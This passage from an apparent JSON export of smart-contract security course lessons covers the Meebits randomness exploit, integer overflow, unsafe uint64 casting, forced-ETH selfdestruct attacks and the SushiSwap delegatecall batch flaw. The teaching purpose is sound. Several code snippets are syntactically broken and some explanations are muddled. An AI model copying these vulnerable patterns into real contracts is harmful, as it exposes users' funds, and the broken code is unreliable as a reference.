intriguing case study that involves an exploit of an NFT project, Meebits, which occurred in 2021. This analysis will shed light on a real-world example of how weak randomness was exploited, resulting in a substantial loss of nearly a million dollars for the protocol.\n\nOur guest lecturer and fellow YouTuber, Andy Lee from Sigma Prime, is here to break everything down for us, from the details of the exploit itself to how it was eventually resolved.\n\n![](https://cdn.videotap.com/xkbChTamuPnibRHVXkei-35.55.png)\n\nRemember, periodically conducting post mortems like this greatly contributes towards honing your skills as a security researcher. Moreover, it complements the effort of strengthening the overall security of your projects and applications by acquainting you with the past exploits to forestall future vulnerabilities.\n\n## A Deep Dive Into The Meebits Exploit\n\nMeebits, created by Lava Labs (the brains behind CryptoPunks), was exploited due to insecure randomness in its smart contracts. By rerolling their randomness, an attacker was able to obtain a rare NFT.\n\nThe concept behind Mebits is simple. If you owned a CryptoPunk, you could mint a free Meebit NFT. The attributes of this newly minted NFT were supposed to be random, with some traits being more valuable than others. However, owing to exploitable randomness, the attacker could incessantly reroll their mint until they obtained an elusive NFT.\n\n## Key Steps to the Exploit\n\nLet's discuss how the attack unfolded. The attacker:\n\n1. Found the metadata revealing the valuable traits compared to the other available ones.\n2. Exploited the insecure randomness stemming from the smart contract, enabling the repeated rerolls of their mint.\n\nThe metadata disclosure in the contract was found on line 129, which led to an IPFS hash with a JSON Blob. This JSON Blob outlined the rarity of the types of Meebits, ranking from the rarest to the least rare.\n\n![](https://cdn.videotap.com/CEWoGF9o6n51CYYJGpOx-177.73.png)\n\nBesides, the Meebit Website provided further information on the rarity by using the token URL function. By entering the token ID, you could see the specific trait your Meebit had.\n\nFor instance, token 16647 had a 'visitor' trait type, currently ranking second in rarity.\n\n## Analysing the Mint Function and Attack Contract\n\nThe smart contract had an external function, `mintWithPunkOrGlyph`, that verified whether the caller owned a Crypto Punk or Glyph. Upon confirmation, the user was allowed to mint a free NFT. This function assigns a random index to the ID; this random index is then assigned to the owner who requested the Meebit NFT.\n\n![](https://cdn.videotap.com/bBOd0ojIlu3ppLIWpKQg-236.97.png)\n\n> \"To understand the exploitability, we need to consider the attack contract and its transactions.\"\n\nOn Etherscan, you can see the transactions where the attacker deployed a contract and repeatedly called a function on the attack contract until they succeeded in minting the NFT they wanted.\n\nThe attack contract is essentially a blob of bytecode, unlike the Meebits contract, which was verified. By putting this code into a bytecode decompiler, we can pinpoint how it was exploited.\n\n![](https://cdn.videotap.com/VDFDeR5qbb6lh1CXHZBw-308.06.png)\n\nThe attack function reveals that the contract calls `mintWithPunkOrGlyph`, and if the Meebit random index wasn't as per the user's wish, the transaction would revert, allowing the attacker to try again.\n\nOne can use Tenderly to trace what exactly transpired during the transaction process.\n\n## Conclusion of the Attack\n\nAfter a grueling six hours of continual calls, the attacker successfully minted the rare Meebit 11647, which held the 'visitor' trait, spending thousands of dollars on gas during this period.\n\nWe owe a big thanks to Andy Lee from Sigma Prime for compelling insights into this case study. It provides a stark reminder of the importance of constant vigilance and thorough examination when dealing with smart contracts and other cryptographic protocols. It also underscores the vital necessity to never underestimate the potential for exploitation, no matter how obscure.\n\nStay tuned for more intriguing case studies and analysis as we continue to dissect cybersecurity incidents in the crypto space!\n", + "updates": [] + }, + { + "id": "dde6f9a7-4b37-4472-bfdc-0d0b894b01cb", + "number": 28, + "title": "Weak randomness: Mitigation", + "slug": "weak-randomness-mitigation", + "folderName": "28-weak-randomness-mitigation", + "description": "", + "duration": 1, + "videoUrl": "uY3Q_sZG1lM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/28-weak-randomness-mitigation/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Mitigation\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# **Bringing Trustworthy Randomness into the Blockchain with Chainlink VRF**\n\nA prevalent challenge that many encounter in the blockchain space is finding reliable ways to generate random numbers off-chain. Lucky for you and I, this conundrum has a solution. In this post, we will delve into how the Chainlink Verifiable Randomness Function (VRF) provides a solution that furnishes verifiable and cryptographically credible random numbers. Primarily, it is decidedly the most popular tool and is widely trusted for its cryptographic guarantees.\n\nYou might be asking, \"Why is this such a major concern?\" So let's begin to unravel this issue.\n\n> \"Getting a random number off-chain is going to be an issue for us\"\n\nWhy is that so? It boils down to the pivotal concept of **trust** in the blockchain realm. Any kind of randomness we want to utilize will necessitate some sort of off-chain introduction, which can understandably feel scary.\n\n## Chainlink VRF: A Proven Solution\n\nSo how do we counteract this fear? The answer is Chainlink VRF.\n\n![](https://cdn.videotap.com/JDtC3sTSaBwZXHXKhNvg-26.1.png)\n\nIn essence, Chainlink VRF operates as a verifiable random number generator. What sets it above others is a series of cryptographic guarantees that enforce and ensure that the produced numbers are truthful and random.\n\nThis isn't conjecture. It's mathematical. Chainlink VRF integrates advanced cryptographic proofs that enable users to validate the process's integrity, thereby instilling an invaluable level of trust.\n\n## Diving Deeper into Chainlink VRF\n\nPotentially, you might not be familiar with Chainlink VRF initially. But don't worry, we've got you covered.\n\n![](https://cdn.videotap.com/eHq7O6rojE6kw9gbagQV-40.6.png)\n\nTo get started, make your way to [Chainlink Docs](https://docs.chain.link/docs/chainlink-vrf/). This comprehensive documentation provides an exhaustive breakdown of all things Chainlink VRF. Right from the basics to solve more complex issues, it has everything you need to know.\n\nAssuming this catches your interest, and you wish to dive even deeper, I’d highly recommend you to check out my Foundry course. This covers Chainlink VRF in exquisite detail.\n\n## Wrapping Up\n\nWhile the problem of generating verifiable random numbers off-chain may seem daunting at first, the solution with Chainlink VRF brings much-needed relief. It provides a trusted, mathematically proven means of bringing random numbers into the blockchain world and opens up a wealth of opportunities. The best part? Whether you're a novice or a veteran in this realm, the plethora of resources available through Chainlink Docs ensures that you’re well-equipped to tackle any challenge.\n\nRemember, it's not just about creating randomness. It's about creating randomness that we can trust and verify. And Chainlink VRF provides us with precisely that. So dive in, explore and experiment, and discover how this innovative solution can revolutionize your blockchain ventures.\n", + "updates": [] + }, + { + "id": "3c4d644f-5c2f-4298-a398-ab81c8d9e0b9", + "number": 29, + "title": "Exploit: Integer overflow", + "slug": "exploit-integer-overflow", + "folderName": "29-exploit-integer-overflow", + "description": "", + "duration": 8, + "videoUrl": "JoTkqR9AydE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/29-exploit-integer-overflow/+page.md", + "markdownContent": "---\ntitle: Exploit - Integer Overflow\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Smart Contract Debugging: Dissecting \"selectWinner\" Function\n\nHi there! Today we're diving once again into the depths of smart contract bugs, and we've stumbled on another one we think you might find interesting. We're dissecting the notorious `selectWinner` function and unsurprisingly, there's a lot more to be uncovered here than we originally thought.\n\nSo, grab a cup of coffee, put on your favorite debugging playlist, and let's get started!\n\n## Total Amount Collected: Why not Balance?\n\nThe following piece of the code confused us:\n\n```js\n// Computes the total amount collected\ntotal_amount_collected = len(players) * entrance_fee;\n```\n\nWe wondered, why not simply use `address.balance` instead? It seems like a more straightforward method to compute the total amount collected. Could there be an underlying reason for this approach? This is definitely a conversation for the team handling the project.\n\n## Deciphering the Prize Pool\n\n![](https://cdn.videotap.com/1eblPhxnIULZz5ABPoxP-135.7.png)\n\nMoving on, we interpreted an interesting metric – the prize pool. The code below illustrates how it's computed:\n\n```js\n// Computes the prize pool\nprize_pool = (total_amount_collected * 80) / 100;\n```\n\nThe computation suggests the prize pool is set to be 80% of the total money, while the final 20% appears to be a fee. The question here is, \"Is the 80% allocation right?\" We couldn't find this in any documentation, so it's possible that there might be some arithmetic error we're yet to spot. We briefly checked if there could be a loss of precision. But we'll revisit that later.\n\n## The Enigma of Total Fees\n\nNext, we noticed some peculiar operations regarding total fees:\n\n```js\n// Update total fees\ntotal_fees += uint64(fee);\n```\n\nWhere `uint64(fee)` is computed as a fixed portion of some percentage amount. When we examined `total_fees`, we found it to be a uint64 variable that gets updated in `withdrawal_fees`. This implies that `total_fees` is the total amount the owner should be able to collect. But, there was a warning flag for us due to a strange casting operation happening here. The casting operation gave us an intuition of the possibility of an `integer overflow`, a classic error that doesn't surface in modern versions of the framework due to its built-in protection mechanisms.\n\n## Into the Abyss: Understanding Overflow Functionality\n\nArmed with our suspicion, we journeyed into the Smart Contract Exploits Repository to understand more about this overflow. The repository contains numerous arithmetic errors, including overflow, underflow, and precision loss.\n\n![](https://cdn.videotap.com/4IhOT3WnizauykVujmDa-262.93.png)\n\nUsing some sandboxed sample contracts, we devised methods to illustrate these errors in practicality. The `increment` function showed that adding anything to a variable that has reached its maximum value will cause the value to wrap back to the start, which results in an overflow issue.\n\nThis is a big deal in contract development and can be resolved to a large degree by removing the unchecked wrappers around your incrementing function calls. Consequently, we're able to limit the value to the maximum, preventing any overflow.\n\nHere's a quick illustration:\n\n```js\n// Initial function that causes an overflow\nfunction increment() public {\n count++;\n }\n```\n\nUpdating the function to avoid overflow:\n\n```js\n// Corrected function\nfunction increment() public {\n require(count < max, \"Maximum limit reached\");\n count++;\n }\n```\n\nSimilar issues can be detected with `underflow` and `precision loss`. It's worth noting that the impact of precision loss has to be carefully evaluated. Sometimes, the loss is insignificant and won't affect the functioning of the smart contract. However, in certain use-cases, even the slightest precision loss can lead to significant deviations.\n\n## Proof Of Code: Making It Real\n\nIt's crucial to not only understand the bugs and possible errors but also to replicate these issues with a proof of code. Although we won't provide a complete walkthrough for writing a proof of code for the overflow issue (it's pretty straightforward), we encourage you to pause your reading here and take a moment to write one yourself.\n\nOnce you've done that, head to our repository and switch to the `audit_data` section. There you'll find a ready-made proof of code with which you can compare your own.\n\n# Finding Bugs: Are We Done?\n\nAs we continue to dig through the smart contract, we're fascinated by the array of bugs we're finding. However, it's pretty exciting! It's evident that there is a lot left to explore and debug, so let's keep delving deeper! And remember, while we may be finding lots of bugs now, our ultimate goal is to create code that is clean, robust, and secure against potential exploits.\n\nAnd that's it for today's bug hunt! Watch out for our next blog post where we delve into more detailed examinations and interesting discoveries. Happy debugging!\n", + "updates": [] + }, + { + "id": "b9ba2a58-137e-4622-a91d-f0f28eff6c01", + "number": 30, + "title": "Integer overflow: Mitigation", + "slug": "integer-overflow-mitigation", + "folderName": "30-integer-overflow-mitigation", + "description": "", + "duration": 2, + "videoUrl": "W-tv7-mze3o", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/30-integer-overflow-mitigation/+page.md", + "markdownContent": "---\ntitle: Integer Overflow - Mitigation\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Optimizing Solidity Code: Fixes and Best Practices\n\nIn this section we will be focusing on how to optimize your solidity code by handling arithmetic issues, using newer solidity versions, and selecting appropriate sized unsigned integers.\n\n![](https://cdn.videotap.com/JQFvqTTQx9NSt5trIsy4-5.2.png)\n\n## Updating to Newer Versions of Solidity\n\nFirst on our agenda - Newer solidity versions. They are the very first fix we will be discussing. Given the critical importance of versioning, it's surprising how many audits reveal that projects are still on outdated solidity versions, leaving them susceptible to unchecked errors.\n\nBy updating your Solidity version, you mitigate the risk of unchecked arithmetic overflow or underflow errors. Current versions of Solidity use a more secure arithmetic model where operations will automatically revert on underflows and overflows, which makes it safer and more secure.\n\nSo, it's not just good advice—it's a fundamental step towards secure code.\n\n## Choosing the Right Size Unsigned Integer\n\nMoving onto our next topic, let's talk about choosing the right size for your unsigned integers. You might, for example, be using a uint256 (Unsigned integer 256bits) in a certain spot. However, in some instances, it might be worth opting for larger 'uints' or 'bigger uns' as I like to call them.\n\nChoosing the right integer type can significantly optimize your contracts' gas efficiency, as smaller integer types use less gas.\n\n> \"Why are you using a uint64? Don't do that. That's silly.\"\n\nIn my experience, oversized or undersized integer types is a common issue that arises in solidity audits. For example, using a uint64 when you're likely to end up surpassing that limit is a move that could potentially lead to disastrous results.\n\n## Checking Against Max Value Limits\n\nBut how do you identify this?\n\nNewcomers might rely on intuition or guesswork, when actually, a much more straightforward method is at our disposal. Tools such as Chisel, which come with your foundry, can help check if your program is using integers appropriately.\n\nA simple command `uint64 max` can give you the maximum value for a uint64. This then allows you to gauge if the values you're dealing with are within the specified range of uint64 and therefore, giving you the ability to decide if using a uint64 is judicious or ill-advised.\n\nSay, hypothetically if your protocol generates over 18 ETH in fees, it's going to surpass the uint64 limit, causing an integer overflow which could lead to severe consequences.\n\n![](https://cdn.videotap.com/rBscGeCrMNlRHNKG4K02-46.8.png)\n\nTherefore, it is crucial to be mindful of the ranges of each integer type to avoid such issues. Regularly auditing and checking your code for such issues, can save you countless hours of debugging and problem-solving down the road.\n\nIn summary, It's all about having the foresight to see potential problems and nip them in the bud.\n\n## Wrapping Up\n\nSolidity, the development language for Ethereum, is consistently evolving. By prioritising keeping our Solidity version up to date and diligently selecting our integer types, we can ensure that our code remains secure, optimized and bug-free.\n\nJust keep in mind, while this blog focusses on two main aspects of optimizing solidity code, it's just the tip of the iceberg. Solidity best practices cover a wide range of topics, and this blog should be considered as a drop in an ocean of knowledge that one should strive to acquire to become an expert solidity developer.\n\nBut for now, my dear reader, let's get comfortable with this information and slowly find our path to expertise. Until our next blog post, take care and happy coding!\n", + "updates": [] + }, + { + "id": "34856ce8-f62b-469b-bc59-c053b97d3e69", + "number": 31, + "title": "Exploit: Unsafe casting", + "slug": "unsafe-casting", + "folderName": "31-unsafe-casting", + "description": "", + "duration": 4, + "videoUrl": "EPMK9X5-qYk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/31-unsafe-casting/+page.md", + "markdownContent": "---\ntitle: Unsafe Casting\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unveiling a Code Overflow Issue: Dealing with Unsafe Casting in Ethereum\n\nHave you ever found yourself struggling with an obscure overflow issue in your code? Let's say you come across such an issue in a piece of Ethereum code that deals with fees. Well, I want to walk you through a discovery that could change the way you look at such a problem. Buckle up and let's dive in!\n\n## The Overflow Issue – MAX Value\n\nNow, when you pull up your terminal, you may notice an overflow issue. What might this look like?\n\nHow about we illustrate with an example. For starter’s sake, let’s use our terminal's little chisel to display the max value for `uint` data type as such:\n\n```js\ntype(uint64).max;\n```\n\nThis will yield the maximum value that this data type can hold. You can copy this and run it again to verify. An integer with a max value of UN 64, for instance, would display as a series of numbers:\n\n```bash\n18446744073709551615\n```\n\nThis highlights the maximum value for uint64.\n\n![](https://cdn.videotap.com/fytpgvHqwMiVQT0IRTQM-49.5.png)\n\n## The Effect of Overflow on ETH Fees\n\nSo, what happens if an overflow occurs when 20 ETH of fees are collected? This is where the enigma unfolds. We can simulate this scenario with this code snippet:\n\n```js\nuint64 my64Uint = uint64.max\nlet twentyEth = uint256(20 * e^18)\n```\n\nHere, `uint64` holds the max.Unsigned 64-bit integer value and `ETH` holds the computed value of 20 Ethereum coins in their smallest unit, Wei.\n\n![](https://cdn.videotap.com/OH27oWqZxNCfkB6SimEB-81.png)\n\n## Danger of Casting ETH as uint64\n\nNext, we need to see what ensues when we try to cast our 20 ETH held in UN 256 as a UN 64. What does this casting do? Let's map it out.\n\n```js\nmyUint64 = uint64(twentyEth);\n```\n\nSurprisingly, after copying this value and comparing it with the previous value of my `uint64`, we notice that the new value seems reduced—truncated to be exact. In actual representation:\n\n```bash\n1553255926290448384\n```\n\nThis demonstrates that casting `uint256` to `uint64` results in truncation of a lot of its values. How?\n\nOpening up a calculator to run `20 - uint64.max` reveals that the exact number is obtained. This shows that we have wrapped around the max value, which is an unsafe casting of this variable.\n\n![](https://cdn.videotap.com/XcTeQLGswCK42guJBqbp-130.5.png)\n\n## The Double Trouble – Unsafe Casting\n\nDoubling up as an overflow issue, this also becomes an unsafe casting problem. You can’t just grab `uint256` and cast it into `uint64` without consequences. The losses incurred could be vastly significant—if the protocol is very profitable as anticipated, many fees would be lost with such a line of code.\n\nSurprisingly, this line of code shreds a ton of damages to the code base and is definitely a concern that’s worth calling out.\n\n## Conclusion: The Audit Report\n\nWith a keen eye for clogs in the code base, we can bring to light silent issues that otherwise stay hidden. In our code review adventure, we’ve managed to unveil an overflow issue and unsafe casting from `uint256` to `uint64`. Let’s crown our discovery:\n\n> Audit unsafe cast of `uint64` of `uint256` to `uint64`.\n\nThis powerful discovery should feature prominently in any audit report! It shows us that unchecked habits—like freely casting variables—can lead to severe implications such as losses in fees. So the next time you're coding, keep an eye out for these subtle pitfalls!\n\nRemember, the devil's in the details. Until next time, stay curious and explore more!\n", + "updates": [] + }, + { + "id": "0f511af4-595c-4b3e-bd92-dabb16222f66", + "number": 32, + "title": "Recon II", + "slug": "recon-continued-2", + "folderName": "32-recon-continued-2", + "description": "", + "duration": 11, + "videoUrl": "9l_L7s-XtoI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/32-recon-continued-2/+page.md", + "markdownContent": "---\ntitle: Recon Continued 2\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Smart Contract Review: Select Winner & Withdraw Fees\n\nWe will be navigating through multiple big issues found in a smart contract. Specifically, for a function called `selectWinner` and later on, `withdrawFees`.\n\n## selectWinner\n\nAlright, jump in the war zone! We spotted two big glitches in the `selectWinner` segment. Not the greatest news, but I do have some documentation for you. My bad, let me guide you through these tricky terminologies.\n\nThe two issues were:\n\n1. Utilization of on-chain data hashes to generate random numbers.\n2. Resetting the players' array after the winner is chosen.\n\nTo break it down for you:\n\nFirstly, the issue with using the hash of on-chain data to generate random numbers is that it leaves our contract susceptible to manipulation. This is frowned upon in a blockchain environment that requires secure and non-tamperable algorithms.\n\nSecondly, clearing out the active players' array after a winner is selected was another significant problem. If this doesn't happen, new users could confront erroneous entries from previous rounds, thereby jeopardizing the next winner sequence.\n\nNow, what happens post-selection? We disburse 80% of the accumulated funds to the fortunate victor, and the remaining 20% is remitted to the fee address. Efficient, isn't it?\n\n> \"Generating unique and secure random numbers and regular reset of player arrays are crucial components of maintaining a fair and efficient lottery system.\"\n\n## Token ID\n\nSurprisingly, we stumbled over another considerable bug, bearing in the token supply section. The term 'Total Supply' was unresponsive when clicked at first. Therefore, scrolling through my project, I spotted the term multiple times in the code. It was linked to ERC721 token standard and indicated the number of token owners. So we concluded that the total supply also represents the token ID. However, we need to increment the ID to avoid its reuse.\n\n```js\nTotalSupply = tokenId++;\n```\n\n## Rarity Determination\n\nHere we held onto the similar unpredictable randomness issue. We, although, calculated the winner index differently for rarity selection of the newly minted NFTs. If its number is less than a common rarity, it is mapped as a random number, else it's rare.\n\nSo, great, we nailed another bug! Before moving on, we also set conditions for resetting the players' array, the raffle start time and reviewed its necessity. If these conditions aren't perfected, the lottery could potentially get stuck and never finish.\n\n![](https://cdn.videotap.com/7ck6k0hpIuydiM6GKGAa-460.86.png)\n\n## Withdrawing Fees\n\nNow, moving towards the `withdrawFees` section, we detailed how 20% of the funds were transferred to the fee address. This function can be activated by a different address than the owner. Wherein, the owner can alter the fee address if desired.\n\nDo remember, when we are sending money, we could possibly trigger another function. So we should be precautious. Upon questioning whether withdrawal of fees was difficult, considering the existing balance and total fees in the contract, and whether the winner's address smart contract could potentially fail, we recorded these as issues to be probed further.\n\n## Conclusion\n\nAll in all, while the intricacies of the blockchain are quite deep, going through this review should have allowed you to better understand some of its fundamental parts. I hope this blog was illuminating and helpful in navigating through the complex terrain of smart contract auditing. The bugs we discussed are by no means exhaustive, but remembering these few pitfalls can save a lot of debugging time in the future. Game on.\n\nRemember, the goal as a successful security researcher is to gain knowledge and experience from each review, and eventually, you will develop an intuition, a \"bug sniffer\". The more you review the code, the better you'll get at hunting bugs. Happy coding!\n", + "updates": [] + }, + { + "id": "019b4cd0-68fa-4a16-875c-f0918266a4fd", + "number": 33, + "title": "Exploit: Mishandling Of ETH", + "slug": "exploit-mishandling-of-eth", + "folderName": "33-exploit-mishandling-of-eth", + "description": "", + "duration": 3, + "videoUrl": "U6KbdtD_VLA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/33-exploit-mishandling-of-eth/+page.md", + "markdownContent": "---\ntitle: Exploit - Mishandling of Eth\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Working with Smart Contracts: Addressing Potential Issues with ETH Transfers\n\nIn the world of smart contracts on Ethereum, there are a few areas which require our keen focus due to the implications they might have. We might face issues with fees getting locked, unexpected withdrawals, or transfers of funds. But through this article, we will place our focus primarily on the **require address**.\n\n#### Handling ETH and \"require address\"\n\nWhen dealing with smart contracts, specifically those involving Ethereum (ETH), there's often a delicate balance that needs to be maintained for handling transfers.\n\nOne crucial line of code that plays a critical role is `require(address(this).balance == totalFees)`. This condition checks to ensure the contract isn’t accidentally deducting funds from a raffle draw. In essence, it helps maintain an extra layer of cautiousness in automated transactions.\n\nA quick assumption might be, since this contract doesn’t have a receive or a fallback function, any attempts to send ETH to this contract would fail.\n\n#### An Attempted Test\n\nTo explore this assumption, let's create a new test in the next code block. We'll name it `testCantSendMoneyToRaffle()`.\n\n```js\nfunction testCantSendMoneyToRaffle() public {\n address senderAddy = makeAddy(\"sender\");\n vm.deal(senderAddy, 1 ether);\n VM.expectRevert();\n (bool, success) = payable(senderAddy).call{value: 1 ether}(\"\");\n require(success);\n }\n```\n\n![](https://cdn.videotap.com/TktbUtvsD0DdyS1GHOkN-69.09.png)\n\nThe `VM.expectRevert()` function call lets us skip the actual revert message. Then if we try to send 1 Ether to `senderAddy` address using the `call{value: 1 ether}` call, we anticipate a potential failure because that's what our initial assumption dictates. We capture this result in `success`.\n\nLet's try to run this test and see what we get.\n\n![](https://cdn.videotap.com/K4rV8gMLh0Uma7eqS3eg-92.12.png)\n\nThe test passed just the way we anticipated. This is because without a fallback or a receive function, Solidity rejects any incoming transactions, which in turn ensures we can't send any funds to the contract.\n\n#### Checking Balances With Smart Contracts\n\nThis successful test could lead us to believe that we are doing a fantastic job tracking our balances. That our smart contracts are capable of accurately keeping track of the amount of money they hold.\n\nLet's highlight this point with a quote:\n\n> \"So Solidity automatically says, hey, reject any transactions. Reject any money that comes in. So we should hypothetically then be doing a great job of keeping track of our balances. This contract should do a really good job of knowing exactly how much money is in here. However, that is not always the case.\"\n\n![](https://cdn.videotap.com/fZe2PQqfTrVFeqENHfi4-128.97.png)\n\n#### Exploring the Mishandling of ETH Exploit\n\nUnfortunately, mishandling of ETH is a broader category of exploits that programmers face. It is plagued with potential pitfalls and gotchas. Our tests above might have gone smoothly, but perfect solutions to avert these problems do not always exist. Hence, programmers are urged to exercise caution when working with ETH especially in the realm of smart contracts.\n\nTo get a more comprehensive understanding of this problem, check out this link: [`sc-exploits-minimized`](https://github.com/Cyfrin/sc-exploits-minimized). This resource will offer you an in-depth exploration of various ways ETH handling can go awry and what strategies could help mitigate these issues.\n\nIn conclusion, working with smart contracts requires a vigilant eye and a detail-oriented attitude to avoid common pitfalls and exploits. Always remember to test your assumptions and ensure you don't make costly mistakes.\n", + "updates": [] + }, + { + "id": "2f8971e7-ff01-4196-b83f-a56ba0eb81fc", + "number": 34, + "title": "Mishandling of ETH: Minimized", + "slug": "mishandling-of-eth-minimized", + "folderName": "34-mishandling-of-eth-minimized", + "description": "", + "duration": 6, + "videoUrl": "bjJIiGCwKg0", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/34-mishandling-of-eth-minimized/+page.md", + "markdownContent": "---\ntitle: Mishandling of Eth - Minimized\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Exposing the Mishandling of Ethereum: A Deeper Dive into Smart Contract Exploits\n\nHello Ethereum enthusiasts, today's post is a deep dive into understanding risk and vulnerabilities associated with Ethereum, specifically the mishandling of Ethereum or ETH.\n\nWe'll walk through the exploration of a particular codebase we've frequently returned to - our sc-exploits-repository. Follow along as we explore and expose exploits related to the mishandling of ETH.\n\n> Be sure to have this repository on your bookmarks to facilitate easy navigation.\n\n## The Importance of Understanding ETH Breaches\n\nThe constant evolution and expansion of blockchain technology mean the occurrence of exploitations. In our sc-exploits-repository, notable examples of ETH mishandling have been categorized. Today we will look at a particular exploit - 'Vulnerable to Self Destruct'.\n\n![](https://cdn.videotap.com/9K1a9GtnKi7ohaku3tCP-47.6.png)\n\n[Mishandling of Eth Repo](https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/mishandling-of-eth)\n\nFor those who have difficulty in retrieving the codebase in remix, the code can be found right at the repository. Head to the top source and copy-paste the code into remix.\n\n## Analysing the Contract\n\nThe contract's primary function is to allow users to deposit their money and withdraw it later. There are several key factors to note:\n\n1. The variable **total deposits**\n2. A **mapping for deposits**\n3. A **deposit** function\n4. A **withdrawal function**\n\nTotal deposits variable and deposit function add and keep track of the value sent (in ETH) into the contract by the sender. The withdrawal function then allows for the removal of an amount set by the user from the account.\n\n```js\nfunction withdraw() public payable {\n require(msg.value >= 1 ether);\n totalDeposits = totalDeposits - msg.value;\n }\n```\n\nTo ensure proper functioning, we have implemented an _assertion_ that checks that the address's balance is equivalent to the total deposits. This way, we know that accounting is done correctly inside the contract.\n\nHowever, we soon bump into a significant issue.\n\n## The Self-destruct Dichotomy\n\nThis issue arises on a relatively innocuous line - the self-destruct command. You may think that this function's straightforward task could not possibly harm the contract. However, in practice, this command can introduce a considerable vulnerability.\n\n```js\nfunction selfdestruct() public onlyOwner {\n selfdestruct(owner);\n }\n```\n\nFor your information, sending ETH directly to the contract will typically fail. This failure occurs because smart contracts must have a designated `receive` or `payable` function to accept ETH, providing an essential security mechanism.\n\nYet, this is where self-destruct proves to be a sword that cuts both ways. On the surface, self-destruct comes across as a necessary destruct function to delete contracts. Yet, it also transforms the contract into a potential target to force money (ETH) into, even bypassing regular checks and balances.\n\n## Misusing the Self Destruct Function\n\nTo demonstrate this, let's visualize a scenario:\n\n1. We deploy `SelfDestructMe` with one ETH.\n2. We then copy the target contract as the target and deploy `AttackSelfDestructMe`.\n3. We initiate the attack by sending one more ETH.\n\n![](https://cdn.videotap.com/gFO4YKELZcnyna0BEy0X-273.7.png)\n\nIn this scenario, the balance of ETH in the contract doubles, thereby defying the assertion that checks for equivalent balance with total deposits. As a direct consequence, this acts as a bug that blocks further withdrawals, resulting in a dysfunctional state.\n\nJeopardizing the withdrawal ability is significantly perilous as a contract's naturality lies in the inflow and outflow of money. The bug forces money into the contract, leading to the demise of the contract.\n\n## Recap and Additional Resources\n\nTo recap, the equation of the address balance equates to total fees, an internal audit, and ETH mishandling can result in a mishap on smart contracts. Such mishandling could be disastrous on withdrawal functionality, hindering users from recovering their investments.\n\nIn the sc-exploits-repository, a test case has been provided to examine and understand it further. Moreover, there is another example of ETH mishandling that you can explore. We recommend using the code examples in the [repository](https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/mishandling-of-eth) to learn more about this subject.\n\nJust as any coin has two sides, Ethereum too has pros and cons. Hence it's recommended to exercise caution when deploying contracts involving significant amounts of ETH. Happy coding!\n", + "updates": [] + }, + { + "id": "dd969938-351d-4952-af95-7ad356d5daaa", + "number": 35, + "title": "Case Study: Mishandling of ETH", + "slug": "mishandling-of-eth-case-study", + "folderName": "35-mishandling-of-eth-case-study", + "description": "", + "duration": 3, + "videoUrl": "BXLAOreh0gM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/35-mishandling-of-eth-case-study/+page.md", + "markdownContent": "---\ntitle: Mishandling of Eth - Case Study\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unraveling the SushiSwap Attack: A Case Study on ETH Handling\n\nIn this post, we will delve deep into an intriguing historical incident in the cryptosphere – the infamous attack on the SushiSwap protocol due to poor handling of Ethereum (ETH). By understanding these real-world instances and the factors that facilitated these attacks, we can significantly upgrade our knowledge base and sharpen our defenses against potential intrusions.\n\nSo, let's get started on this intriguing journey!\n\n![](https://cdn.videotap.com/u8WMx76vvOAsmbCZXNQq-11.91.png)\n\n## Unveiling the Core Problem\n\nAt the heart of this notorious attack was [SushiSwap’s protocol flaw](https://samczsun.com/two-rights-might-make-a-wrong/) in managing ETH, the cryptocurrency powering the Ethereum network. This led to a situation where users' ETH got stuck, with no viable means of withdrawal.\n\nNotably, this exploit is a stark example of a broad category of bugs related to rudimentary ETH handling.\n\nIn question was a batch function embedded within this protocol. As a helpful tool, this function enabled users to initiate multiple calls within a single transaction. While this might sound beneficial, the problems arose when this feature was misused through the `delegateCall` command.\n\n## Understanding the DelegateCall Anomaly\n\nThis seemingly handy feature was precisely where the exploiter sneaked in.\n\n```javascript\n function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {\n successes = new bool[](calls.length);\n results = new bytes[](calls.length);\n for (uint256 i = 0; i < calls.length; i++) {\n (bool success, bytes memory result) = address(this).delegatecall(calls[i]);\n require(success || !revertOnFail, _getRevertMsg(result));\n successes[i] = success;\n results[i] = result;\n }\n }\n```\n\nWhat made this issue particularly intriguing and equally challenging to identify was its subtle occurrence. It involved a certain mishandling of message sender (`msg.sender`) and message value (`msg.value`).\n\nTo understand this better, let's plunge into the mechanics of the `delegateCall` command.\n\n> \"Inside a delegate call, message sender and message value are preserved across every iteration in the batch. This allows a user to batch multiple calls, committing ETH across each while reusing the message value - leading to free bids in the auction.\"\n\n## Recognizing the Exploit\n\nNow, let's look at how this vulnerability paved the way for an exploit.\n\nDuring the batch process, if any of the calls influenced the message value, that persistence would be retained for all subsequent events. This exploit meant that someone could potentially make multiple calls leveraging the same message value but only needed to send one ETH unit.\n\nTo illustrate, imagine wanting to send 100 transactions, naturally needing 100 ETH units. With this flaw, anyone could send these 100 batch transactions using just a single ETH unit. That's right. 100 potential transactions, but only at the cost of a single one. An alarming oversight indeed, with catastrophic implications for the protocol.\n\n![](https://cdn.videotap.com/FuftKRwJQsWu0I0yDN0Y-119.14.png)\n\n## Case Study: An Exceptional Learning Opportunity\n\nI earnestly urge you to take some time to review this [expansive case study](https://samczsun.com/two-rights-might-make-a-wrong/) associated with our course repository. This comprehensive assessment offers a fantastic insight into the peculiarities and oddities linked with ETH handling, and how it functions 'under the hood.'\n\nThese case studies provide us with an unmatched opportunity to acquire a deep understanding of the Ethereum blockchain's native token balance system. Although more often than not a robust system, it occasionally 